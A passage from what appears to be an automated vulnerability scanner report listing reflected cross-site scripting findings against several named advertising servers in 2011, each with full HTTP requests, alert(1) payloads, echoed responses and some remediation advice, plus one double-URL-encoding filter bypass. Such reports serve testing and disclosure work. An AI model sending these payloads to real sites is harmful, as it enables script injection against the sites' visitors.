Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 50370
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:38:11 GMT
Expires: Wed, 23 Feb 2011 21:38:11 GMT

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
ttp://ad.doubleclick.net/activity;src=2127271;stragg=1;v=1;pid=18824836;aid=236883395;ko=0;cid=40818774;rid=40836561;rv=1;rn=2307084;";
this.swfParams = 'src=2127271&rv=1&rid=40836561&=27956'-alert(1)-'a0fcdcacbd9&';
this.renderingId = "40836561";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

3.53. http://ad.turn.com/server/pixel.htm [fpid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.turn.com
Path:   /server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6ed"><script>alert(1)</script>aa0256ac30a was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=1e6ed"><script>alert(1)</script>aa0256ac30a HTTP/1.1
Host: ad.turn.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/728x90/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d56a8ca8-fcd6-4f11-be56-d400a24d3999?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349044
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=CMHOO7uf_udLLq9eGtJ3PdQJcQ_K22BQHXQ-dT6incxd6ISB_q_vS5rapRhLZ6kjvFBMD_r71JCvgjjawylbas-n3UVMoc2HfetiqdcGK7-MifLpV7fqak3Dns_efbQIZw0xnwcn-ju7SUW_27p2BuIIvMb-MRyDgs7z-nEGMqA; fc=NVeBshHSVnoUxhcixGrBhDuuhRKDd8vnh1xheKiYPKd3AL7Gx9Az1OHn7o3KNmBFGJEeoEGIaoMAXW2vTWlmm73wc-cQ7FRKnITKYzO3zYV52dhK4dSErN9-EcLOAtq0; pf=pdEodDKRQncnfsbhMkHepg5DGCQ18I8JWnp-qTHvZFsPkNaW3X0pm_fQ4RfYGdhSpTBAM4oF9IkquHFs0_EGjDJsK7mjf-D1y3j2WAHvG04; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7Cundefined%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7Cundefined%7C12; rds=15082%7C15082%7C15082%7C15082%7Cundefined%7C15082%7C15082%7Cundefined%7C15082%7C15082%7C15082%7C15082%7C15082%7C15082%7Cundefined%7C15082; rv=1; uid=2931142961646634775

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=2931142961646634775; Domain=.turn.com; Expires=Tue, 18-Oct-2011 01:28:17 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:28:16 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=2931142961646634775&rnd=3559043653072074332&fpid=1e6ed"><script>alert(1)</script>aa0256ac30a&nu=n&t=&sp=n&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

3.54. http://ad.yieldmanager.com/v0/admeld-match [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.yieldmanager.com
Path:   /v0/admeld-match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8fd4f%2527%253balert%25281%2529%252f%252f95e61b15dae was submitted in the admeld_callback parameter. This input was echoed as 8fd4f';alert(1)//95e61b15dae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the admeld_callback request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /v0/admeld-match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=420&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match8fd4f%2527%253balert%25281%2529%252f%252f95e61b15dae HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=uid=888a2c66-6932-11e0-8830-001b24783b20&_hmacv=1&_salt=4113190855&_keyid=k1&_hmac=2bd08a6ff17f1fdebe5379daa4d53c1f64bef7b8; pv1="b!!!!#!#M*E!,Y+@!$Xwq!/h[p!%:3<!!!!$!?5%!(/4f4!w1K*!%4fo!'i8L!'>d6~~~~~<vl)[<wjgu~"; ih="b!!!!-!)`Tm!!!!#<vmX7!)`Tq!!!!#<vmX5!)`U6!!!!#<vmX0!*loT!!!!#<vl)_!/_KY!!!!#<vl)T!/h[p!!!!#<vl)[!/iq6!!!!$<vmX=!/iq@!!!!$<vm`!!/iqB!!!!#<vmTN!/iqH!!!!#<vmTH"; bh="b!!!!2!!-yu!!!!.<vm`$!!.+B!!!!.<vm`%!!ObA!!!!#<vn<'!#2YX!!!!#<vl)_!#5[N!!!!#<vl)_!#Qh8!!!!#<w,W$!#_0B~~!#`S2!!!!#<vn<'!#aH+!!!!#<w<=N!#aH.!!!!#<w<=N!#b.n!!!!#<w<=N!#c-u!!!!-<w*F]!#ec,!!!!#<w<=N!#yX.!!!!9<w*F[!$%gR!!!!#<w,SV"; BX=8khj7j56qmjsh&b=4&s=dk&t=106

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 01:29:27 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Cache-Control: private
Content-Length: 328
Content-Type: text/javascript
Age: 0
Proxy-Connection: close
Server: YTS/1.18.4

document.write('<img width="0" height="0" src="http://tag.admeld.com/match8fd4f';alert(1)//95e61b15dae?admeld_adprovider_id=420&external_user_id=3%3b0%3bihn3kEv_yJVBLq40juPCHw4S8WTTFFjJy1c7KRR34fVKYQulvHHdnbbVjwE-&expiration=1304558967" />
...[SNIP]...

3.55. http://admeld.adnxs.com/usersync [admeld_adprovider_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9b0dd'-alert(1)-'317f5ca6ea7 was submitted in the admeld_adprovider_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=1939b0dd'-alert(1)-'317f5ca6ea7&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/728x90/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d56a8ca8-fcd6-4f11-be56-d400a24d3999?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349044
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII3I4BEAoYCSAJKAkwsvqt7QQQsvqt7QQYCA..; uuid2=2724386019227846218; anj=Kfu=8fG5EfE:3F.0s]#%2L_'x%SEV/i#-?R!z6W+Yo.b7e5'Qr*n#0-+APASPp[Bs3dk4*4W2@5sJdI5v%Y.@+!_/VvMXSE*bt=_O$3b_^wlH]t*WlBJ^1-5$V<I_9kqO#*eDcTw6zN8L)X*7P(eC)!'W$^W[Ye0fJA^f>PH-M5YB///''voY:[:'c*00u`4jlX%LRMdwxiNov]c_Z!6y@AQ$`QY

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Fri, 22-Apr-2011 01:29:16 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Wed, 20-Jul-2011 01:29:16 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Thu, 21 Apr 2011 01:29:16 GMT
Content-Length: 183

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=1939b0dd'-alert(1)-'317f5ca6ea7&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

3.56. http://admeld.adnxs.com/usersync [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c4af'-alert(1)-'15172c93042 was submitted in the admeld_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=193&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match5c4af'-alert(1)-'15172c93042 HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/728x90/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d56a8ca8-fcd6-4f11-be56-d400a24d3999?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349044
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII3I4BEAoYCSAJKAkwsvqt7QQQsvqt7QQYCA..; uuid2=2724386019227846218; anj=Kfu=8fG5EfE:3F.0s]#%2L_'x%SEV/i#-?R!z6W+Yo.b7e5'Qr*n#0-+APASPp[Bs3dk4*4W2@5sJdI5v%Y.@+!_/VvMXSE*bt=_O$3b_^wlH]t*WlBJ^1-5$V<I_9kqO#*eDcTw6zN8L)X*7P(eC)!'W$^W[Ye0fJA^f>PH-M5YB///''voY:[:'c*00u`4jlX%LRMdwxiNov]c_Z!6y@AQ$`QY

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Fri, 22-Apr-2011 01:29:32 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Wed, 20-Jul-2011 01:29:32 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Thu, 21 Apr 2011 01:29:32 GMT
Content-Length: 183

document.write('<img src="http://tag.admeld.com/match5c4af'-alert(1)-'15172c93042?admeld_adprovider_id=193&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

3.57. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29856'%3balert(1)//8edbefe157e was submitted in the admeld_adprovider_id parameter. This input was echoed as 29856';alert(1)//8edbefe157e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=7329856'%3balert(1)//8edbefe157e&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain
Date: Thu, 21 Apr 2011 01:31:08 GMT
Expires: Thu, 21 Apr 2011 01:31:08 GMT
P3P: CP=NOI ADM DEV CUR
Server: Apache-Coyote/1.1
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Fri, 20-Apr-2012 01:31:08 GMT; Path=/
Content-Length: 192
Connection: keep-alive

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=7329856';alert(1)//8edbefe157e&external_user_id=3419824627245671268"/>');

3.58. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d4983'%3balert(1)//3f86c4c8f66 was submitted in the admeld_callback parameter. This input was echoed as d4983';alert(1)//3f86c4c8f66 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matchd4983'%3balert(1)//3f86c4c8f66 HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain
Date: Thu, 21 Apr 2011 01:31:38 GMT
Expires: Thu, 21 Apr 2011 01:31:39 GMT
P3P: CP=NOI ADM DEV CUR
Server: Apache-Coyote/1.1
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Fri, 20-Apr-2012 01:31:39 GMT; Path=/
Content-Length: 192
Connection: keep-alive

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/matchd4983';alert(1)//3f86c4c8f66?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

3.59. http://ads.pointroll.com/PortalServe/ [dom parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.pointroll.com
Path:   /PortalServe/

Issue detail

The value of the dom request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e979"%3balert(1)//0b6e4c29a71 was submitted in the dom parameter. This input was echoed as 9e979";alert(1)//0b6e4c29a71 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /PortalServe/?pid=1247240J45720110330184804&flash=10&time=3|20:25|-5&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/v%3B239300729%3B0-0%3B10%3B55854524%3B2321-160/600%3B41539824/41557611/1%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D82789%3Bcontx%3Dent%3Ban%3D40%3Bdc%3Dw%3Bbtg%3D%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f$CTURL$&pos=x&dom=http://poponthepop.com9e979"%3balert(1)//0b6e4c29a71&r=0.1835262831300497 HTTP/1.1
Host: ads.pointroll.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PRID=B313D3CD-2147-4ACC-A03C-CCA65D06F94D; PRbu=EoSNMBpPq; PRvt=CBJBaEoSNMBpPqAI5BBe; F1FPLN=1*1303435143; PRgo=BBBAAsJvBBF-19!B; PRimp=63A10400-F398-9A14-0209-527000710100; PRca=|AJvr*1753:1|AKLp*1753:1|AJcC*23172:1|#; PRcp=|AJvrAA2R:1|AKLpAA2R:1|AJcCAGBk:1|#; PRpl=|FCbK:1|FPLN:1|Eoxl:1|#; PRcr=|GDVY:1|GKCp:1|Fy9A:1|#; PRpc=|FCbKGDVY:1|FPLNGKCp:1|EoxlFy9A:1|#

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Apr 2011 01:29:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"

document.write("<iframe id='profr1247240' src='http://ads.pointroll.com/PortalServe/?pid=1247240J45720110330184804&cid=1467337&pos=h&redir=http://ad.doubleclick.net/click%3Bh=v8/3af0/3/0/*/v%3B2393007
...[SNIP]...
-42181530_1303349054,11f8f328940989e,ent,ax.40%3B%3Bcmw=owl%3Bsz=160x600%3Bnet=cm%3Benv=ifr%3Bord1=82789%3Bcontx=ent%3Ban=40%3Bdc=w%3Bbtg=%3B~aopt=3/1/e5/0%3B~sscs=%3F$CTURL$&dom=http://poponthepop.com9e979";alert(1)//0b6e4c29a71&time=3|20:25|-5&r=0.1835262831300497&flash=10&server=polRedir' width='160' height='600' frameborder='0' marginwidth='0' marginheight='0' scrolling='NO'>
...[SNIP]...

3.60. http://ads.pointroll.com/PortalServe/ [flash parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.pointroll.com
Path:   /PortalServe/

Issue detail

The value of the flash request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f7d2"%3balert(1)//c02338f36b3 was submitted in the flash parameter. This input was echoed as 5f7d2";alert(1)//c02338f36b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /PortalServe/?pid=1247240J45720110330184804&flash=105f7d2"%3balert(1)//c02338f36b3&time=3|20:25|-5&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/v%3B239300729%3B0-0%3B10%3B55854524%3B2321-160/600%3B41539824/41557611/1%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D82789%3Bcontx%3Dent%3Ban%3D40%3Bdc%3Dw%3Bbtg%3D%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f$CTURL$&pos=x&dom=http://poponthepop.com&r=0.1835262831300497 HTTP/1.1
Host: ads.pointroll.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PRID=B313D3CD-2147-4ACC-A03C-CCA65D06F94D; PRbu=EoSNMBpPq; PRvt=CBJBaEoSNMBpPqAI5BBe; F1FPLN=1*1303435143; PRgo=BBBAAsJvBBF-19!B; PRimp=63A10400-F398-9A14-0209-527000710100; PRca=|AJvr*1753:1|AKLp*1753:1|AJcC*23172:1|#; PRcp=|AJvrAA2R:1|AKLpAA2R:1|AJcCAGBk:1|#; PRpl=|FCbK:1|FPLN:1|Eoxl:1|#; PRcr=|GDVY:1|GKCp:1|Fy9A:1|#; PRpc=|FCbKGDVY:1|FPLNGKCp:1|EoxlFy9A:1|#

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Apr 2011 01:29:33 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"

document.write("<iframe id='profr1247240' src='http://ads.pointroll.com/PortalServe/?pid=1247240J45720110330184804&cid=1467337&pos=h&redir=http://ad.doubleclick.net/click%3Bh=v8/3af0/3/0/*/v%3B2393007
...[SNIP]...
%3B%3Bcmw=owl%3Bsz=160x600%3Bnet=cm%3Benv=ifr%3Bord1=82789%3Bcontx=ent%3Ban=40%3Bdc=w%3Bbtg=%3B~aopt=3/1/e5/0%3B~sscs=%3F$CTURL$&dom=http://poponthepop.com&time=3|20:25|-5&r=0.1835262831300497&flash=105f7d2";alert(1)//c02338f36b3&server=polRedir' width='160' height='600' frameborder='0' marginwidth='0' marginheight='0' scrolling='NO'>
...[SNIP]...

3.61. http://ads.pointroll.com/PortalServe/ [r parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.pointroll.com
Path:   /PortalServe/

Issue detail

The value of the r request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 30fb7"%3balert(1)//54cbf026620 was submitted in the r parameter. This input was echoed as 30fb7";alert(1)//54cbf026620 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /PortalServe/?pid=1247240J45720110330184804&flash=10&time=3|20:25|-5&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/v%3B239300729%3B0-0%3B10%3B55854524%3B2321-160/600%3B41539824/41557611/1%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D82789%3Bcontx%3Dent%3Ban%3D40%3Bdc%3Dw%3Bbtg%3D%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f$CTURL$&pos=x&dom=http://poponthepop.com&r=0.183526283130049730fb7"%3balert(1)//54cbf026620 HTTP/1.1
Host: ads.pointroll.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PRID=B313D3CD-2147-4ACC-A03C-CCA65D06F94D; PRbu=EoSNMBpPq; PRvt=CBJBaEoSNMBpPqAI5BBe; F1FPLN=1*1303435143; PRgo=BBBAAsJvBBF-19!B; PRimp=63A10400-F398-9A14-0209-527000710100; PRca=|AJvr*1753:1|AKLp*1753:1|AJcC*23172:1|#; PRcp=|AJvrAA2R:1|AKLpAA2R:1|AJcCAGBk:1|#; PRpl=|FCbK:1|FPLN:1|Eoxl:1|#; PRcr=|GDVY:1|GKCp:1|Fy9A:1|#; PRpc=|FCbKGDVY:1|FPLNGKCp:1|EoxlFy9A:1|#

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Apr 2011 01:29:38 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"

